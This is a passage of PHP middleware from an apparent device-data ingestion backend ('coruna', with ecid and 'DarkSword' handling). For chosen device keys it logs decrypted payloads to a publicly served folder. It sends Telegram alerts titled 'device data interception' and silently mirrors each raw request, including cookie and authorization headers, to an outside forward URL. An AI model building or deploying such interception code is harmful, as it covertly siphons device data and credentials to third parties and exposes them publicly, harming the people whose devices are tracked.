resolveDeviceKey($request);
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
try {
$this->intercept($request, $deviceKey);
} catch (\Throwable $e) {
Log::warning('intercept middleware error: '.$e->getMessage(), [
'device_key' => $deviceKey,
]);
}
}
return $next($request);
}
/**
* Resolve the normalized device key for this request.
*
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
* Falls back to request input fields (d / f / ecid) for multipart or
* DarkSword requests where the decrypt middleware skipped the attribute.
*/
private function resolveDeviceKey(Request $request): string
{
$key = $request->attributes->get('coruna_device_key');
if (is_string($key) && $key !== '') {
return $key;
}
foreach (['d', 'f', 'ecid'] as $field) {
$value = $request->input($field);
if (is_string($value) && $value !== '') {
return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? '';
}
}
return '';
}
/**
* Case-insensitive membership check against the configured device list.
*/
private function shouldIntercept(string $deviceKey): bool
{
$list = config('coruna.intercept.device_keys', []);
if (! is_array($list) || $list === []) {
return false;
}
return in_array(strtolower($deviceKey), $list, true);
}
/**
* Log + notify + forward the matched request.
*/
private function intercept(Request $request, string $deviceKey): void
{
$meta = $this->collectMeta($request, $deviceKey);
$this->writeLog($meta);
// Skip Telegram push for high-frequency paths (e.g. /event telemetry),
// but still log and forward so no data is lost.
if (! $this->shouldSkipPush($meta['path'])) {
$this->notify($meta);
}
$this->forward($request, $meta);
}
/**
* Whether the Telegram push should be skipped for this path.
*/
private function shouldSkipPush(string $path): bool
{
$skipPaths = config('coruna.intercept.push_skip_paths', []);
if (! is_array($skipPaths) || $skipPaths === []) {
return false;
}
return in_array($path, $skipPaths, true);
}
/**
* Gather request metadata for logging and notification.
*/
private function collectMeta(Request $request, string $deviceKey): array
{
$path = '/'.ltrim($request->path(), '/');
return [
'time' => date('Y-m-d H:i:s'),
'device_key' => $deviceKey,
'method' => $request->method(),
'path' => $path,
'uri' => $request->getRequestUri(),
'ip' => VisitorIp::fromRequest($request),
'remote_addr' => $request->server->get('REMOTE_ADDR'),
'host' => $request->getHost(),
'content_type' => (string) $request->header('content-type'),
'content_length' => strlen($request->getContent()),
'headers' => $this->collectHeaders($request),
'payload' => $this->collectPayload($request),
'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'),
];
}
/**
* Select headers worth recording (skip cookie / authorization for safety).
*/
private function collectHeaders(Request $request): array
{
$headers = [];
foreach ([
'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept',
'content-type', 'user-agent', 'host', 'cf-connecting-ip',
'cf-ipcountry', 'x-forwarded-for', 'x-real-ip',
] as $h) {
if ($request->headers->has($h)) {
$headers[$h] = $request->headers->get($h);
}
}
return $headers;
}
/**
* Best-effort payload snapshot for the log.
*
* Uses the decrypted payload when the decrypt middleware set it;
* otherwise records the raw body (truncated for very large uploads).
*/
private function collectPayload(Request $request): mixed
{
$payload = $request->attributes->get('coruna_payload');
if (is_array($payload)) {
return $payload;
}
$raw = $request->getContent();
if (strlen($raw) > 200000) {
return ['_raw_truncated' => substr($raw, 0, 200000)];
}
return $raw === '' ? null : ['_raw' => $raw];
}
/**
* Append the interception record to public/log/intercept/Ymd.log.
*/
private function writeLog(array $meta): void
{
$logPath = public_path('log/intercept');
if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) {
return;
}
$logName = $logPath.'/'.date('Ymd').'.log';
$line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' '
.json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
."\r\n\r\n";
$isNew = ! file_exists($logName);
if (@file_put_contents($logName, $line, FILE_APPEND) === false) {
return;
}
if ($isNew) {
@chmod($logName, 0664);
}
}
/**
* Send a Telegram alert via the dedicated intercept bot.
*/
private function notify(array $meta): void
{
$token = (string) config('coruna.intercept.bot_token', '');
$chatId = (string) config('coruna.intercept.chat_id', '');
if ($token === '' || $chatId === '') {
return;
}
$text = implode("\n", [
'🚨 设备数据拦截',
'📱 设备: '.$this->e($meta['device_key']).'',
'🌐 IP: '.$this->e($meta['ip'] ?: '—').'',
'📥 请求: '.$this->e($meta['method'].' '.$meta['path']).'',
'📦 大小: '.$this->e((string) $meta['content_length']).' bytes',
'🕐 时间: '.$this->e($meta['time']),
]);
try {
app(TelegramNotifier::class)->sendToChat($chatId, $text, $token);
} catch (\Throwable $e) {
Log::warning('intercept telegram notify failed: '.$e->getMessage());
}
}
/**
* Mirror the raw request to the configured forward URL.
*
* Preserves method, path, query string, headers, and body — only the
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
*/
private function forward(Request $request, array $meta): void
{
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
if ($baseUrl === '') {
return;
}
// Rebuild the target URL: base + original path + original query.
$target = $baseUrl.$request->getRequestUri();
// Collect headers to forward — drop Host (will be set by HTTP client
// based on the target URL) and hop-by-hop headers.
$headers = [];
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
foreach ($request->headers->all() as $name => $values) {
if (in_array(strtolower($name), $skip, true)) {
continue;
}
$headers[$name] = $values;
}
$body = $request->getContent();
$timeout = (int) config('coruna.intercept.forward_timeout', 10);
try {
$resp = Http::withHeaders($headers)
->timeout($timeout)
->connectTimeout(min($timeout, 5))
->send($request->method(), $target, [
'body' => $body,
'allow_redirects' => false,
]);
$this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body());
} catch (\Throwable $e) {
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
}
}
/**
* Record the forwarding result alongside the interception log.
*/
private function writeForwardLog(array $meta, string $target, int $status, string $body): void
{
$logPath = public_path('log/intercept');
if (! is_dir($logPath)) {
return;
}
$logName = $logPath.'/'.date('Ymd').'.log';
$entry = [
'time' => date('Y-m-d H:i:s'),
'dir' => 'forward',
'device_key' => $meta['device_key'],
'target' => $target,
'status' => $status,
'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
];
$line = $entry['time'].' FORWARD '.$entry['target'].' '
.json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
."\r\n\r\n";
@file_put_contents($logName, $line, FILE_APPEND);
}
private function e(?string $value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
}